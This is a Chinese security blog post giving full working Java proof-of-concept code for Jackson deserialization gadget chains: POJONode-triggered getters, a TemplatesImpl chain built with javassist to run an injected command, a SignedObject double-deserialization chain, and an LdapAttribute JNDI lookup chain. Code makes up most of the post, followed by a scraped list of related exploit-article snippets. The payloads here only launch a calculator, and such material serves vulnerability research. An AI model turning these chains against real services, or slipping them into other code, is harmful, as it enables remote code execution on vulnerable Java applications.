JackSon反序列化通杀
前言
Springboot一般都会自带JackSon这个依赖包,JackSon跟Fastjson有相同的功效
简单复现
package com.example.jakeson.demo;
import java.io.IOException;
import java.io.Serializable;
public class User implements Serializable {
public User() {
}
public Object getName() throws IOException {
Runtime.getRuntime().exec("calc");
return "1";
}
public Object setName(String name) {
System.out.println("setname");
return "2";
}
}
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
public class JakesonDemo {
public static void main(String[] args) {
User user = new User();
POJONode jsonNodes = new POJONode(user);
jsonNodes.toString();
}
}
运行即可弹计算器
Jackson反序列化利用链
注意点
PoJoNode类是继承ValueNode,ValueNode是继承BaseJsonNode类,我们看看BaseJsonNode类

它拥有writeReplace方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个writeReplace方法,这是反序列化的规则,解决办法就是重写BaseJsonNode类
把这个writeReplace注释掉即可
TemplatesImpl链
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64;
public class TemplatesImplDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,pojoNode);
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
TemplatesImpl的流程就不跟了,简单的跟一下Jackson的流程,BadAVEE里面触发toString
进入到重写的BaseJsonNode类的toString方法
中间流程断了,。。。。,跟到最后,在StdSerializer类中wrapAndThrow方法调用到了getter
SignObject链
二次反序列化,无需多讲
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class SignObjectDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,pojoNode);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
POJONode pojoNode2 = new POJONode(signedObject);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,pojoNode2);
System.out.println(serial(exp2));
deserial(serial(exp2));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
LdapAttribute链
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
public class LdapAttributeDemo {
public static void main( String[] args ) throws Exception {
String ldapCtxUrl = "ldap://127.0.0.1:1099/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
POJONode jsonNodes = new POJONode(ldapAttribute);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
LdapAttribute类中有getter方法调用了lookup


两处入口,上面poc进入的是getAttributeDefinition方法,payload有些讲究,我们之前的payload都是ldap://xxxxx/xxx,这里payload必须是ldap://xxxx/不需要后缀了,具体原因是,艹了,没有java文件调试不了,不想去下了,大伙去看别的师傅的思路吧
JackSon反序列化通杀的更多相关文章
- 通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击
通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击 大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞.此洞可 ...
- 小白审计JACKSON反序列化漏洞
1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...
- Postsharp 破解工具(通杀版,持续更新)
2019.04.18 重要说明 VS2019 正式版已经发布了,Postsharp v6.2.2-Preview(预览版)也开始支持VS2019.不过截至目前,该预览版还不是特别稳定,因此提醒下大家在 ...
- [.NET] [.net 脱壳工具]Sixxpack 最新脱壳机 通杀Sixxpack全版本by -=Msdn5 君临=
[.net 脱壳工具]Sixxpack 最新脱壳机 通杀Sixxpack全版本by -=Msdn5 君临=- 识别方法: 如果无法调戏,请上传附件艾特我.............发帖不易啊..身处大西 ...
- DedeCMS全版本通杀SQL注入漏洞利用代码及工具
dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...
- 飘逸的python - 极简的二叉树前中后序通杀函数
对于任一结点.能够按某种次序运行三个操作: 訪问结点本身(N) 遍历该结点的左子树(L) 遍历该结点的右子树(R) 用来表示顺序,即,前序NLR/中序LNR/后序LRN. 以下我们用namedtupl ...
- X86逆向2:提取按钮通杀特征码
本章我们将学习特征码的提取与定位,特征码是软件中一段固定的具有标志性的代码片段,特征码的用途非常广泛,最常见的就是杀毒软件的查杀了,查杀就是根据特征码定位技术实现的,再比如木马的免杀也是修改了特征码的 ...
- CVE-2017-11882:Microsoft office 公式编辑器 font name 字段栈溢出通杀漏洞调试分析
\x01 漏洞简介 在 2017 年 11 月微软的例行系统补丁发布中,修复了一个 Office 远程代码执行漏洞(缓冲区溢出),编号为 CVE-2017-11882,又称为 "噩梦公式&q ...
- 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!
/文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...
- r0capture安卓应用层通杀脚本-使用文档
本文所有教程及源码.软件仅为技术研究.不涉及计算机信息系统功能的删除.修改.增加.干扰,更不会影响计算机信息系统的正常运行.不得将代码用于非法用途,如侵立删! r0capture安卓应用层通杀脚本-使 ...
随机推荐
- 代码随想录算法训练营第七天| LeetCode 454.四数相加II 15. 三数之和 18. 四数之和
454.四数相加II 卡哥建议:本题是使用map巧妙解决的问题,好好体会一下 哈希法如何提高程序执行效率,降低时间复杂度,当然使用哈希法会提高空间复杂度,但一般来说我们都是舍空间换时间, 工业开发也是 ...
- 【Filament】基于物理的光照(PBR)
1 前言 自定义Blinn Phong光照模型中实现了基础的自定义光照,与现实的光照还是有些差别,本文将实现更逼真的光照效果,即基于物理的光照(PBR). 读者如果对 Filament 不太熟 ...
- 关于mv命令,系统是如何区分是移动还是重命名
引入: 精简回答版:重命名的本质仍是移动覆盖 ,所以不存在应该如何区分的问题 最近学习到linux基础命令中的mv命令,了解到mv命令的作用是对文件的移动和重命名,但自己一直想不明白系统是如何分辨 ...
- 探索Terraform实践:优化基础设施管理
Terraform 是管理基础设施及代码(IaC)最常用的工具之一,它能使我们安全且可预测地对基础设施应用更改. Terraform作为一个强大的基础设施即代码工具,为开发人员和运维团队提供了一种简单 ...
- Jmeter 响应断言你知道多少?
1 断言各组件介绍 Apply to:同上 测试字段: * 响应文本:响应体 * 响应代码:响应状态码 * 响应信息:状态码的消息 * 响应头:顾名思义就是响应头 * 请求头:顾名思义就是请求头 * ...
- Java 小案例+super使用
1 package com.bytezero.supertest3; 2 3 /** 4 * 5 * @Description AccountTest类 6 * @author Bytezero·zh ...
- 关于Java并发多线程的一点思考
写在开头 在过去的2023年双11活动中,天猫的累计访问人次达到了8亿,京东超60个品牌销售破10亿,直播观看人数3.0亿人次,订单支付频率1分钟之内可达百万级峰值,这样的瞬间高并发活动,给服务端带来 ...
- go程序在mac下的交叉编译
主页 微信公众号:密码应用技术实战 博客园首页:https://www.cnblogs.com/informatics/ 背景 go语言的一大优势就是跨平台,go语言是编译型语言,与Java.C#等语 ...
- docker 资料整理
docker 资料整理 基础概念 docker deamon 守护系统:简单理解就是docker的软件系统,管控这容器的开关. docker容器:从镜像启动到内存中形成动态运行,从编程角度,如果镜像是 ...
- 基于Python的 如何检查字符串输入是否为数字
一 概念 这种有很多常用的方法,这里只介绍一种常用的方法是使用正则表达式来匹配数字的模式.通过定义一个匹配数字的正则表达式,然后使用re模块中的search()方法来进行匹配. 二 例子: 下面是一个 ...